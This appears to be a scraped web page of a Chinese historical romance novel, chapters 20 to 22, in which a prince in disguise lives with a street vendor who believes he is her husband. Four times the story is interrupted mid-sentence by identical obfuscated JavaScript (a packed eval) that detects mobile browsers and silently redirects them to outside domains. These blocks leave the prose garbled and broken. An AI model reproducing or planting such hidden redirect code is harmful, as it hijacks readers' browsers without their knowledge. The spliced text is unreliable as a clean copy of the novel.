;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14210158|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋望回左一手右一手，接住两只长颈花瓶，复又追赶。音和再推矮柜，那柜子空置没有易碎的物拾，蒋望回打算直接绕过不管，却又意识到不行，扭头一看，矮柜倒向衣架，衣架再倒向林元舆，蒋望回只得调头回赶，臂挡衣架，赔罪道：“林公，是晚辈教导无方，让小妹犯下大错。” “不碍事，不碍事。”其实林元舆也觉得蒋音和错，今日所为，哪有一点大家闺秀的端庄和担当？但经略相公雄踞一方，他的儿女得罪不起：“谈不上得罪，年轻人嘛，难免冲动。” 蒋望回无奈看向一地狼藉。 蒋音和则一路狂奔出悦来店。 她喘了口气，没去过朱方巷，但记得应该是往左拐？她就往左跑，百来步，上千步，怎么还没到朱方巷？ 终于望见巷口了！ 这巷口好窄，只够一辆马车，再多一个人都挤不进来了，蒋音和手扶腰，边喘气边庆幸这会没有车马来往……等等，都说朱方巷全是贩肉的，怎么一家杀羊宰牛的铺子都没见着？ 前方是什么风影正往巷口来？ 柳湛正占上风，一剑挥去，黑衣人抬手躲避却不够快，被柳湛划中，上臂内侧自腋窝到肘袖破血流，露着黑黢黢的胳膊。 “郎君！”蒋音和激动喊出声，黑影人循声一瞥，就朝蒋音和射去飞刀。寒光若星，蒋音和见哥哥练过，晓得厉害，那喜悦之声瞬化恐惧：“郎君救我！” 柳湛本来三招之内就能斩杀黑衣人，却突然杀出个蒋音和，若是旁的随从，弃便弃了，奈何她是蒋望回胞妹。 柳湛压下不悦，脚尖点地连飞两步，调转剑锋打掉飞刀。黑衣人飞刀都没捡，趁着这个机会跃过围墙，消失不见。 “郎君。”蒋音和往柳湛身边靠，柳湛让了一步，上前捡起飞刀。他面色瞧着并没有生气，淡淡道：“先回去再说。” 柳湛回到悦来店，进门还未开口，蒋音和后脚跟着扑进来，刚一站稳，便带泣哭诉：“阿兄，有人刺杀郎君！被我遇着，我差点不明不白就死了，多亏郎君……” 蒋望回听得既急又痛，自责自己没有保护殿下和妹妹，单膝跪地：“郎君，是属下失职，求郎君责罚。”林元舆在场，他们不便讨论这刺客是皇后还是官家派来，与柳湛对视一眼，尽在不言中。 柳湛启唇：“之前要查朱方巷的事，办得怎么样了？” “属下还在查。” “浴堂对面的那户人家，也要好好查查，”柳湛回想与那黑衣人交锋的情景，“人胳膊内侧一般是最白的，那人内侧就黑黢黢，身形高大，想来是一个肤色偏黑的男人。”柳湛说到这便止了声，并没有把飞刀交给蒋望回。 “属下一定牢记！” “你起来吧。”柳湛叹了口气，“音和，给我下碗汤饼。” “喏。”蒋音和擦干眼泪，麻利去做，不一会一碗上盖着四块卤牛肉的面条就端至桌边，和无数个早膳一样。 柳湛抬箸，无意扫了眼离碗沿毫厘的袖角，手上动作一滞，忽然就想起萍萍说他身上有骚味。 “阿罗，”柳湛下令，“备水，我待会要沐浴。” 蒋望回订的上房有单独浴室，柳湛吃完不久，袁未罗便备好一池香汤：“郎君，好了。” 柳湛入内，一眼就瞥见池边几上，袁未罗备的胰子，他突然又想：萍萍自配的胰子会是怎样？ 柳湛走近矮几，拿起胰子，上面散发着丝丝茉莉香。 他放下胰子，先洁面，而后摘冠解袍，步入浴汤。 柳湛沉入水中，先涂胰子，复又站起浇净，水从他头顶开始流，飞溅肩头，再如瀑淌过八块腹肌。 20. 第二十章 他没有泡汤，洗干净就上岸，换上干净的圆领袍，这回穿淡雅的天青色。 柳湛步出浴室，方一落座，袁未罗就过来梳头，帮戴冠子，柳湛吩咐道：“捡三、四套常穿的，我要带走。” “郎君。”蒋音和出声喊，然后立马被蒋望回拐了一下。 柳湛头也不回：“音和，银筷给我一，给我两双。” 蒋音和日常备菜都要试毒，备着许多银针银筷，一开始听“一”还好，听到要两双，心中顿时不快，启唇欲言，却见哥哥、林公，乃至袁未罗都蹙眉抿唇，一副“劝你切莫再冲动添乱”的神色，蒋音和又偷觑眼端坐戴冠的柳湛，咬了咬唇去找筷子。拿筷盒装好，递给袁未罗打包，到底心不甘情不愿，她咬了下唇，还是同柳湛道：“郎君珍重，万分小心，提防算计。” 柳湛颔首，正好袁未罗打包好，他抓起包袱就出了门。 柳湛并未即刻回朱方巷，回他和萍萍的那个“家”，反而背道走远，期间经过四间药铺，都没进入，直到第五间，才进去抓药。 柳湛没有拿出那张女医开的方子，而是直接口述八味药。 抓药的伙计最近正跟随郎中学习，听完笑道：“这方子像是补气的，要长期喝吧？官人不如把附子换成黄芪，附子用久了不好。” “我老娘亲只信这一位郎中，旁人开的皆不肯喝，”柳湛无奈叹气，“就照样抓吧。” “官人孝心。” 伙计熟稔，按抽屉找药，小秤称精准，十四副药黄纸包好，再用麻绳捆到一处，勒紧，交给柳湛。 药到手，柳湛不疾不徐走回朱方巷，他这回萍萍领过的那条大道。前面百来步便是需要绕过去才能回家的肉铺，他却再次止了步。 风萧萧，柳湛头顶的挑子飘扬，“张记”时而因风折叠，时而显露。 柳湛还未开口，就有刀手吆喝：“咦，这不是萍娘子的官人吗？” “唉就是！” 萍娘子等回夫君的事，已经在巷子里传开，七、八个刀手里有一半未曾亲见，立马凑过来让见过的人指：“哪个哪个？” “还真是一表人才。” 丑时拒绝柳湛，说东家不剁肉的小叶也在场，同柳湛尴尬笑了笑。 柳湛点头，表示也记得他。 小叶还是尴尬，放低声音：“你叫什么来着？” “在下阿湛。”柳湛含笑，心里却想将来这些人也要处理。 “上回跟你说话生硬了点，赔个不是。” “兄台秉公办事，何错之有，当时我非要东家剁肉，语气也不好。” 小叶一听愈觉怠慢好人，低下脑袋：“上回你说住隔壁巷子，我当时不信。现在想来，是来找你娘子了……” 话匣一开，讲了许多。 柳湛心思却很快到了别的事上，等小叶说完，他便淡淡开口：“你们东家呢？” 他往里望，没有搜到。 “东家这会不在。”其他刀手和小叶一齐接口，柳湛便要道“改日再来”，刀手们却继续：“你是要取肉吧？二斤肉东家已经吩咐留好了，喏，就是这条。” 说着连肉带钩一并取下，递交柳湛。 “多谢了。”柳湛笑道，一接过来便知这排骨绝对重于二斤。眼下时辰不早，没有商贩交易，见不着钱票往来，柳湛无心再留，刀手们接下来说的“娶萍娘子真是三世修来的福气”之类的，他都是左耳进，右耳出，背着包袱，提着肉，辞别刀手们，回到住处。 柳湛没有直接推门，依然先叩。 时候已经不早，又是阴天，光线昏暗，柳湛却清楚瞧见萍萍打开门后眼睛变得很亮。 “官人你回来了？”萍萍不知道员外具体居处，所以不觉柳湛去久，她主动接过柳湛手上的包袱和排骨：“张丈给的？你还真去领了？” “路过喊住我给的。”柳湛的目光依旧落在萍萍身上，她沐浴后换了件素色棉袄，搭天青色夹裙，云尖巧额的团髻用红布和一根比针粗不了多少的银簪固定住，柳湛在想她是不是没戴过冠子，就听萍萍欢喜道：“官人你这身和我真配。” 不过都是天青色，纯属巧合，柳湛笑意不达眼底。 “官人以后下面三个是你的抽屉。” 柳湛听见这句话，看去时，萍萍已经拉开五屉柜，半跪在地上一层层分门别类放柳湛的外袍、里衣。期间她扭头瞟向柳湛，发现他一直都在注视自己，不由低头含羞一笑，柳湛却在这样一刻敛去常挂的，那份若即若离的和善，脸上无笑。 “晚上我们吃面？” 柳湛缓缓回神：“好。” 又吃面。 “那我去准备。”萍萍收拾完衣物，取下刚挂好的排骨去了厨房。厨房有一大一小两灶，大灶挨着砧板，萍萍把排骨放砧板上，剁了一盘，剩下的放进木桶，提到院内吊进水井，顺道把剁好的那盘洗了。 等她再进厨房时，瞅见柳湛背身站在小灶边。 “官人我来做你歇着就好。”萍萍连忙往灶边赶，近前才发现柳湛不是要下面，而是要煎药——他已将一副药倒进药罐。 “这罐子你都能找出来。”萍萍感叹，她就前几年伤特重时吃过药，但药罐子好贵的，花了钱舍不得扔，放到碗柜的最深处，前面一排锅碗瓢盆挡着。 “你下面，我煎药。”柳湛从旁边水缸里的舀了一瓢水浸泡药材。 萍萍瞧着，开口道：“这起码得泡刻把钟，你先去歇？” 柳湛注视罐中药材，缓缓开口：“不用，我打下手。” “好啊，”萍萍不仅不再客气，还张口就来，“夫妻搭配，干活不累。” 柳湛不接话，走到大灶前蹲下，先生火。萍萍伸脖颈瞧了会，近前也蹲下来，帮忙调整：“这个要搭起来一些，中间留空才好点燃。” 打了火石，火苗腾地跃起，烟灰从灶内飘出来，萍萍连忙抬手往自己这边扇，免得呛着柳湛。她边咳边说：“咳、咳，以前你也不擅长生火，也是我纠正，还记得吗？” 柳湛默然起身，这就不是他的经历。 萍萍随后站起，灶上架锅，热油，再煎排骨，半晌，萍萍吩咐：“阿湛，帮我拿下另外那口锅。” 柳湛将另外一口锅递给萍萍，正好赶上萍萍倒出排骨，顺手换锅。 “洗一洗，油到那白缸里，留着还能用。”她又下令，自己则往新锅下油。 柳湛倒油、舀水、洗锅，刚忙完，萍萍头也不看只道：“切点姜，在簸箕里。” 柳湛心道她还真是不客气，簸箕里找出半只姜，正要放上砧板切，萍萍忽喊：“阿湛——” “还——”柳湛启唇，本来要说“还有何吩咐”，冷不丁一只竹筷送入他口中。柳湛旋即要顶出去，然后筷尖沾的糖还是化在他嘴中。 “辛苦啦！”萍萍笑着收回竹筷，“被我使唤来使唤去。” 又问：“好吃不？” 柳湛眺向锅内，糖已经熬成了褐色的糖浆，他回想方才口中的味道，甜中带一点醋酸，不赖。以前就听说，这一带人爱吃醋排面……等等！柳湛脸色大变：“这筷子你舔过没有？” 萍萍点头：“我刚才尝味啊。” 柳湛深吸口气，二话不说出门。萍萍眺了眺屋外，想追出去，但锅里烧着不管会糊，她还是把排骨烧好才出门，没走多远，就见柳湛在洗面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14223563|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤摊车前漱口，萍萍心底忽然一凉，没了笑意。 半晌，默默退回厨房，继续下面。 不一会柳湛也回来，在小灶前重蹲下，继续煎药。萍萍心里说着不看，却还是忍不住偷窥柳湛，见风转了向柴火黑灰冲他面门，还是脱口而出：“小心别呛着！” 柴噼里啪啦地跳着，柳湛似乎应了声嗯，又似乎没应。反正萍萍的心情下完面，端上桌时已经全阴转晴了。 她先端的柳湛那碗，面上铺的小排要比她自己的多两块：“面好啦，来吃咯。” 柳湛却先走到五屉柜前，拉开第三个抽屉，取出两只带来的长盒：“我带了两双筷子来，从前觉着好看买的。” “这是筷盒啊，我以为里面是你的簪子，所以跟腰带放一起了。”萍萍歪着脑袋瞅那筷盒，既不能翻盖也没法推，她放的时候就在想怎么打开。 柳湛在盒上按了下，萍萍还没来得及开清，筷盒就开了，露出一双银筷。 “这么精巧！”她感叹。 柳湛又开一双，放到她面前。 她拿起来瞧，银筷镶玉雕花，是真好看，可比起竹筷太重了，还有些膈手，但是官人喜欢这筷子，还心心念念到哪都带，她不能扫他的兴，面上兴高采烈：“是比竹筷好，我们以后就用这两双。” 萍萍在桌边坐下。 柳湛也坐，早扫见桌上两碗面有不同，萍萍碗里少两块排骨，还没葱花。 柳湛执起银筷，筷尖似不经意碰触葱花，一顺划过，挨上排骨。 萍萍已经夹面吃了，见柳湛眼往下瞟，不好意思笑道：“我就这一样挑食，不吃葱。” 他以前记得的，做什么菜都不放葱，但是现在全忘了。 柳湛夹起一筷子面，送入口中，比想象的劲道，还挺香。接着夹了块排骨，咬一口，竟比宫里做的都嫩，酸甜可口。 不知不觉，一碗面吃得干干净净见底。 萍萍跟柳湛食速差不多，他吃完，她就起身主动收碗：“我洗碗。” 柳湛不语，萍萍在厨房刷碗时柳湛进来查看煎药，她看他蹲在灶边灭火，又低头瞧瞧自己手中的碗，忽觉无比满足，就这样一世双人，哪怕官人一辈子都想不起来也无憾了。 萍萍嘿嚯哈嚯，刷得更带劲，望着前头的墙笑：“阿湛，我觉得我们现在像家了。” 良久，柳湛淡道：“药，可以喝了。” 萍萍扭头，看见他在倒药筛药，她晓得罐既重又烫，怕他受伤，连忙放下碗，赶过去：“我来，我来。” 可还是慢了，柳湛已将药倒入碗中，满满一碗，萍萍怕端起来烫到他，忙自己端起来喝，嗞——她烫得咂舌。 但官人说现在可以喝，所以她还是打算硬着头皮继续，柳湛注视着萍萍，缓缓启唇：“可以放到凉水里冷一下。” “好、好！”萍萍赶紧舀了两瓢缸里的凉水，倒进锅里，再把碗放进去，等凉了些，一饮而尽。 柳湛盯着她喝完，转身就走，忽听萍萍道：“我记得你每次喝完药都会吃颗糖渍梅子。” 柳湛猝地止步。 萍萍抹了抹嘴：“我不吃，然后我就笑你怕苦。你说不是，小时候家人不允吃零嘴，只有喝药时才能混一颗梅子，欢天喜地。你喜欢酸酸甜甜的东西。” 所以她才做醋小排。 柳湛阴脸促眸，目光在萍萍脸上扫过：她怎么知道这些？从哪探听得来？ 转念又想，宫里许多人都知道他有酸梅压药的习惯，传出去，提前准备。这么说来比起认错人，她更可能是有备而来，蓄意勾.引。 柳湛心中杀意更甚，缓缓扬起嘴角，面上恢复淡笑。 21. 第二十一章 萍萍已经转过身，就着方才锅里的水洗碗、刷罐，接着回去卧房，柳湛跟着回，萍萍却从卧房出来，手上抱着一沓帕子，柳湛扭头望去，见她凑近洗面汤车，放好帕子，又一条条码胰子。柳湛缓缓走近，细嗅了嗅，她的胰子不是茉莉香，是一种描述不出来却极熨帖的气味。 浴堂给她们这些卖洗面汤的小娘子供水，价钱不贵，所以萍萍不用自带水去，卖汤时炉子要一直烧水，带不了那么多柴，所以她都用炭。 萍萍正拣炭时，柳湛发问：“明日我可否一起出摊？” 没准那张屠会来洗面。 “好啊！”萍萍回身，差点撞上挂着的火钳：“当然好。”意料之外，萍萍既高兴又感动，官人愿意同她一起经营。少倾，萍萍放轻声：“其实官人你以后和我说话，不用这么客气。” 柳湛不置可否。 萍萍伸臂往柳湛胳膊上一挽：“官人那我们先去睡觉吧。” 柳湛身心一刹俱僵。 他转眸望天色，将暗未暗，酉戌之间。他知道子时洗面汤要出摊，此时入睡将将好，并不算早。他所顾忌的是另一样说不清，不可道之物。 他顾左右而言他：“现在？” “对啊，反正也没有别的事做。”萍萍答得柳湛眉心又跳了跳。 这萍萍的宅子五脏俱全但麻雀小，一间房既摆床又摆桌，高低木柜若干，甚至还有个大木桶，走道窄短，只能过人身，柳湛看了下，不够打地铺。 萍萍见他环扫屋内，沉吟不语，也揣摩出他的顾忌——官人还不习惯做夫妻。 其实她不介意柳湛睡床，自己铺被子睡地上，但屋小东西多，被子展不开。 萍萍看着柳湛，郑重道：“屋子小，只能我俩都睡床，但可以效仿梁山伯与祝英台，我再去拿床被子，然后床中央放碗水。”她举手发誓，“我保证，水绝不会洒出来。” 柳湛盯她少倾，似笑非笑：“不至于，娘子若真行端坐直，不会过界。” 萍萍沉默须臾，点头应好。她翻出家里最值钱，做了一直舍不得用的那床鸳鸯锦被，另添一只新枕，抱在怀里，小心翼翼问：“官人你想睡里面还是睡外面？” “随你。” “那官人睡外面吧。”萍萍说着趴进床内，跪着把新的被子枕头摆在外侧，铺整齐，怕柳湛晚上冷，还把被尾招起封口。她平时睡觉只穿肚兜，这会却担心他介意，仅褪去最外那层衣裙，一身里衣袴裤钻进被窝，尽量不发出声音。 柳湛还是留意到她的丰腴曲致，目光不自觉粘住。 萍萍躺好后，这视线就挪到那段露出的雪白脖颈，萍萍怕夜里漏风，无声往上拉了拉被子，扎紧，而后被里僵硬转身，背对柳湛，一动不动，保持着这个姿势入睡。 柳湛垂手覆上自己的腰带，目光扫向床.上，外侧铺展的被面上绣着池塘鸳鸯，他脑海中突一刹闪过萍萍沐浴出水的画面，再次扫向床.上，喉头滑了滑。 柳湛收回打算解腰带的手，就这么和衣上.床。 他面朝外阖眼，两两背对。 本来就没点灯，太阳一落山，满屋漆黑。 柳湛听力极好，听见萍萍越来越均匀的呼吸声——她睡着了。 一个多时辰后，柳湛听见萍萍呼吸均匀地翻身。 又约莫过了一个时辰，柳湛察觉有人袭腹，翻身坐起，袖里剑以最快地速度，果决架上萍萍脖颈。锦被滑过膝盖，被面上那对鸳鸯瞬被遮蔽，好似受惊飞离了水面。 萍萍朝他这边侧躺，暴露面目，她看起来仍沉睡者，丝毫没察觉颈上冰凉，闭着眼和唇，连睫毛都没怎么颤，只嘴角微微上翘，两只胳膊已经全从被子里拿出来，抱臂胸前。 柳湛手上执剑，眼往下扫，因他坐起，萍萍搭上来的那只小腿，滑到他大.腿膝关节处。 此举何意？ 她是不会腿脚功夫的人，那便只有一个意图。 这人之前还假惺惺主动要求放碗，柳湛不由心生憎恶，架在萍萍颈上的剑挪至面颊，冰凉的铜面贴着她的肌肤，缓缓移动，俄尔翻转，让另一铜面也在她脸上摩挲。 柳湛没有特别刻意避开剑刃，毕竟古有曹孟德好梦中杀人。 萍萍运气好，没被划到，但也没有睁眼，仍溺梦乡。 还能继续装睡？ 柳湛心头冷笑，举剑在萍萍脸上轻拍两下。 萍萍在梦中觉出痒，眼都没睁，只抬手像挠蚊子包般在颊上挠了两下，继续沉睡。 柳湛还欲再辱，忽闻呓语，“阿湛，我好想你啊。” 半晌，屋内寂得只剩月光。 柳湛薄剑收回袖中，但仍反手按着，不曾有一刻松懈，他另一只手则捉住萍萍脚踝，往里一甩，挪开。 这下萍萍醒了，一个鲤鱼打挺坐起：“什么时辰了？” “二更过了。”之前躺着的时候，柳湛有听见打更声。 “完了完了，”萍萍忙从床尾跨下床，叨叨，“别迟到了，千万别迟到。” 平时晚一点出摊还行，但今日她许诺了三日免费，去迟了可能会被误会不情愿。柳湛也旋即想到这茬，却什么都没说，只看着萍萍穿衣梳头。 “官人，走了。”萍萍拉起洗面汤车，出门，柳湛随后，朱方巷夜里繁忙，这会背街的路上亦人来人往，柳湛上前，握住小车拉杆：“我来。” 萍萍又被感动到，松了手，看向柳湛的眼睛里全是星星。 “免费三日以后，我们再忙个一两日，就不出摊了。”她追到洗面汤车后面，亦步亦趋，“着手准备汤饼铺，到时候也通知街坊邻里一声。” “钱应该够。” “店面我有备选，到时候你掌掌眼，要是不行再挑。” “店里摆四张桌好，还是五张？” “我们几号开张好？要不要找人卦师算算？” 萍萍句句问柳湛，却句句无回应，一路成了自言自语。 “官人，你怎么不回答我？” 她都这样问了，柳湛才回：“你定。” 已拐至大道，她跑几步从追车尾变成与车头，与柳湛平齐，沉默少顷，再次开口：“早上做完生意我们去趟金山吧？” 她失忆以后记起来的第一件事，就是阿湛在金山寺治伤，之后山上疗养，共听禅音，许下润州城开汤饼铺的约定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14233835|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她想，官人重登金山，会不会也能想起来…… 因为紧张，萍萍脚下不自觉变慢，渐渐同柳湛拉开距离。 柳湛耳尖，听出她这回语气与之前大相径庭，低轻微颤仿佛在央求，又似潺潺一汪流水惹得他心弦一波，不自禁回头。 果然，她眼里也满是恳求，又夹杂些许期冀。 原来杏眼也挺好看的，柳湛心头默道，启唇回应的却是“再说吧”。 萍萍眸子黯了下，旋即安慰自己来日方长。 她追上柳湛，重展笑颜，挂两个酒窝：“官人待会你收钱吧？” “主顾们可能嗓门大些，你别害怕。” “一般卯时以前就能收工了。” 柳湛腿长步大，她说了两、三句又落下了，只得跑起来赶，一会在车左边，一会右边：“我旁边摊子杨婆的二陈汤还不错，你要是渴了就找要一杯，记我账上就行。” “浴堂水缸旁边有个小凳子，经营的时间长要是累了可以去那坐坐。” 柳湛看她左左右右，叽叽喳喳，语气欢快，连步伐都雀跃，心想人怎么可以这么多话？怎么可以总是这么高兴高兴？ 最难以理解的是，他有时竟忍不住想答她。 还好浴堂到了，柳湛打断她：“你一般停哪里？” 萍萍一指：“最边上。” 他们是一个来的，其余卖洗面汤的娘子们还没到，但已经有屠户候着了。萍萍个个记得名字，逐一问早，屠户们快人快语：“萍娘子啊，好些天没找你洗面，想念得紧。” “今日排你的人肯定多，我们怕排不上提早来。” 萍萍不愿屠户久等，忙不迭烧水备汤，两手开工，脚下亦小跑，过会卖洗面汤和茶汤的娘子陆续来上工，瞧见萍萍身后柳湛，立马囔囔：“哎哟那是谁呀！” 大家都听萍萍讲过故事，猜到是她官人，纷纷打趣：“今儿这开夫妻店，啧啧，羡煞人也！” 柳湛含笑，只点头鲜少接话，就算开腔，也言简意赅。 他自觉只应酬了极短一会，再一扭头，排萍萍的队伍就转了弯，望不到头。 眼瞅萍萍快忙不过来，柳湛上前搭把手，不消一会，就发现萍萍生意紧俏的原因：一来她比别家多供一盆水，二来除了秘制胰子，还有七白澡豆等等其它绝活。 还有那份热情。 当然，柳湛见过许多热情的内侍宫娥，却和萍萍完全不一样。 她的热情很特别。 他想了很久才想明白，她的热情里既无怜悯，也没有谄媚。 在此期间，柳湛无数遍听见萍萍和街坊邻里的欢声笑语。 柳湛渐渐从环视四周，变成目光聚到萍萍身上。她往左给甲屠户递帕子，他就跟着往左转脑袋，她往右倒水，他也向右转首，她蹲下来找澡豆，他缓缓低头。 “萍娘子好啊，从来不嫌弃我们。” “阿湛啊，其实你娘子是个女秀才你知道不？她会说诚什么天道，什么人道。” 也有许多屠户找柳湛攀谈，句句听进耳中，浅淡如烟萦绕，他没有刻意琢磨这些句子，却还是逐渐扬高了嘴角。 22. 第二十二章 下一刹意识到不对，嘴角稍微撇下，脸上也浮现一丝对自己的愠恼。 他不再凝视萍萍。 “是官人教我的。”萍萍回那夸赞自己的屠户，柳湛瞧见她耳根转瞬变红。 “官人官人，你娘子眼里可只有一个你！” “是啊，这巷子里谁不晓她在等自己官人？一个女子独自挑起一个家不容易，她这五年不管吃多少苦，但都不为所动，笃定了你会回来。” “旁的也不为所动，一心一意就等着。” 柳湛嘴角撇得更下些，几乎快敛去全部笑意，她对那位真夫君真是情深谊长，单只为一个情字，就痴痴苦守，不求回报也别无它图。 世上竟真有这样的女人？ * 对街，裴府。 最高初阁楼里，大门紧闭，窗开一缝，裴小官人独自在窗边俯瞰浴堂，门口诸事，一览无余。 他眼神始终眼神阴鸷。 少倾，裴小官人闭起一眼，举一只箭头泛蓝淬毒的连弩，悄然对准柳湛。 萍萍却走过去找柳湛说话，身体无意之中挡住他。 裴小官人手颤了下，终放下连弩。 街对面，萍萍还在同柳湛讲话。她牵起柳湛右手，将一物拾塞进他手中，按着他的五指握住：“我刚从袖袋里摸出来的，你要是觉得饿就先吃一颗。” 柳湛摊开手，掌心一颗蜡纸包的糖。 “萍娘子，轮到我了吧？” “唉，来啦！”萍萍先应声，而后冲柳湛笑，“我先去忙了。” 她似一阵风飘走，重新张罗洗面汤。 手上不停，脚不沾地，等萍萍接待完十来主顾，再回头时，柳湛竟然不见踪影：“唉官人呢？” 萍萍眺歇脚凳那边，也没有，不知道柳湛到哪去了。 她绞尽脑汁，也只能琢磨出小解这一个理由。 于是，等某次萍萍忙完再一回头，柳湛重新现身时，萍萍没有多问——人有三急嘛，问了他多不好意思。 已至卯时，天将放白，就算是萍萍的队伍，也只剩两三主顾，今日最后一位来关顾洗面摊的是张屠。 “张丈，早。”萍萍主动打招呼，张屠却道：“今天可不早啦，起晚了。” 萍萍水将一调好，张屠就伸手盆中，浇淋脸面。萍萍递来胰子，张屠摆手：“今日就洗把脸算了，再不出发迟了。” “好。”萍萍赶紧递来帕巾，“那今日你少给一文。” 张屠点头擦手，将铜板丢入竹筐，接着便到旁边拉他停的太平车，防下雨，连盖加绑数层厚油纸。 张屠架好车，朝萍萍挥手：“那我去了！” “一路顺风，生意兴隆！” 目送张屠走远，她差不多也该收摊了，萍萍整理帕巾盆炉，柳湛帮她提壶，口中问道：“张丈这是要去哪里？” “他经营下面诸县的猪肉生意，每日要往丹阳、金坛，或者旁的一些县跑。”萍萍接过柳湛手中铜壶，放到车最下层。 “哎呀呀！” 乍响起尖锐叫喊，声音大到萍萍心里一慌，她和柳湛一起循声望去，只见隔壁卖二陈汤的杨婆正和另一身形差不多的婆子叨叨。那婆子面相陌生，方才还不在这里，应该不是朱方巷人。 萍萍认得这婆子，杨婆有个弟弟也住在润州城里，这婆子便是那弟弟的娘子。弟弟经常闯祸，一犯事妯娌就来求助杨婆。 这次估计也是，杨婆嘴里不断冒出“不省心的”，“怎么这样”，诸如此类，连拍大腿。 平时别人不主动聊起，萍萍都不会多嘴他人家事，此刻也转回脑袋，继续整理洗面汤车。没一会儿，那杨婆却主动找过来：“我那弟弟又来事了，得赶过去，待会帮我把车推回去，里头剩点汤你们喝了。” 杨婆交代完就随妯娌匆匆离去，柳湛看向萍萍，萍萍却没望他，先过去帮杨婆整理了车子，才问柳湛：“你喝茶不？” 柳湛摇头。 “那你得跟我一起，先把干娘的车推回她家去。” 柳湛不作声，上手拉萍萍那辆车，萍萍推杨婆的。 “干娘家比我们近些。”萍萍笑着说，“所以先去干娘家。” 她推车，柳湛拉车，她在后头瞧不见柳湛面目，但还是说个不停：“唉你等等我啊，你又不认识路！” 柳湛渐渐慢下来。 萍萍加快步伐，哪知一下没收住超过柳湛，赶紧往回退，无意间回眸一笑。 柳湛抿了抿唇。 走不到一刻钟，萍萍停步，又回首，指沿街铺子：“要从这家旁边绕进去，里面路窄，我先你后？” 柳湛瞥了眼铺子的招牌——张记。 “她住这里？”他不咸不淡地问。 萍萍没多想，立马点头。张记的刀手们已经瞧见她，纷纷吆喝起来，萍萍笑着朝他们挥手，接着便领柳湛进入深巷。 柳湛数着，经过六户人家，到第七户才是杨婆家。 萍萍掏锁开门。柳湛发问：“你有她家钥匙？” “干娘给了我一把。”萍萍边开边说，看来她常做今天的事，进去后轻车熟路放好推车，见角落簸箕里的米糠还是满的，又同柳湛道：“你再等等，杨婆今天还没喂鸡，我把鸡喂了。” 柳湛默然随她到后院，后面臭得很，全是猪骚味，但杨婆家只养了两只鸡，味道是从矮篱笆另一边，她隔壁邻居家传来。 柳湛见那邻居家全造的石屋石门，窗户都修得颀高，几乎要到顶上，跟牢狱似的，柳湛似不经意问萍萍：“这隔壁住的是谁？” “张丈啊，这一带都是他的产业，一直通到铺子里。” “前面几家也是？” “是啊，有些他租给刀手住。”虽然每座宅院都是中等，但加起来，张屠应该是朱方巷最富有的人吧？ 柳湛慢行数步，来到篱笆前。 “这味可真大。”他抬手挥了挥，似要驱散臭味，萍萍给他的那颗糖就“不慎”从袖袋中掉落，在地上弹了一下，越过篱笆，滚进张屠家的草丛。 柳湛旋即要进张屠家捡，萍萍拉住他的袖子：“算了，一颗糖而已，不要随便进别人家。” 柳湛将她手捋开：“那怎么行，它可是你给我的。” 说完便纵身越过篱笆，进张屠家搜寻。 “官人！阿湛！”萍萍连唤数声皆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14240504|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无回应，她咬了咬牙，提起裙子也翻篱笆，没有轻功，动作慢上许多，落地后还在附近草丛搜查，而后才转过身，脸霎时苍白：“别——” 晚了。 萍萍才阻一个字，尚未说完，柳湛已经打开石门，数十头黑猪争先恐后，奔腾而出，跑出万马奔腾，鱼挤龙门的气势。 柳湛旋即跃起，眼底黑压压一片，那些猪大部分都能跃半人甚至一人高，直接跃过篱笆跑进杨婆家。 “它们怎么能跃这么高？”柳湛从前哪见过猪圈，更没见过这种，与猎场里的野猪不遑多让。 “这些二眉猪平时都在山上散养，宰杀前半个月才运到这里。”萍萍只能再次翻过篱笆去捉猪，太慢了，猪们已经横冲直闯出了杨婆和张屠的宅子。她只好催促柳湛：“你快去抓它们！” 柳湛拔剑，准备待之如猎场。萍萍瞧见他的冷面，大惊急呼：“别伤它们！” 这些都是张屠的猪！之后还要卖钱的！ 柳湛眉心跳了跳。 “也别打它们，不然会暴.动的！站它们左后或者右后，敲出声音！” 